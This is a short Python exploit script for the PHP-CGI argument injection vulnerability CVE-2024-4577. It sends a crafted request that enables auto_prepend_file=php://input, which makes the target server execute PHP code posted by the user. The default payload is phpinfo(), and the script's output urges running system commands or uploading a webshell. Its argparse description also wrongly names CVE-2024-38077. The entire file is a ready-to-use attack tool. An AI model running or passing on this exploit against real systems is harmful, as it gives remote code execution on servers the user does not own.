cve-2024-4577.py

import requests
import sys
import argparse
from urllib.parse import urlparse
# import fake_useragent



def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme, result.netloc])
    except ValueError:
        return False

def exploit_php_cgi(url, custom_payload):
    if not is_valid_url(url):
        print("\nInvalid URL provided,eg:https://example.com/\n")
        return

    exp = f"{url}/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"

    payload = custom_payload if custom_payload else "<?php phpinfo();?>"

    # ua = UserAgent()

    headers = {
        # "User-Agent" : ua,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    try:
        response = requests.post(exp, data=payload, headers=headers, timeout=10)

        if not custom_payload:
            if "phpinfo()</title>" in response.text:
                print("Exploit successful: phpinfo() found in the response.")
                return "The website has a vulnerability; use the -c command to directly upload a webshell,\neg:python CVE-2024-4577.py -u https://example.com -c <?php system('whoami');"
            else:
                print("Exploit failed: phpinfo() not found in the response.")
                return "This website seems to be secure. If a vulnerability is confirmed, please test it manually."
        else:
            print(response.text)
            return ""
    except requests.RequestException as err:
        print(f"Error sending request: {err}")
        return "Exploit failed: Connection error"


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-38077")
    parser.add_argument("-u", help="Target URL,eg:-u https://example.com")
    parser.add_argument("-c",help="eg:-c 'phpinfo()'")

    cmd = parser.parse_args()

    url = cmd.u
    custom_payload = cmd.c
    result = exploit_php_cgi(url, custom_payload)

    if result is not None:
        print(result)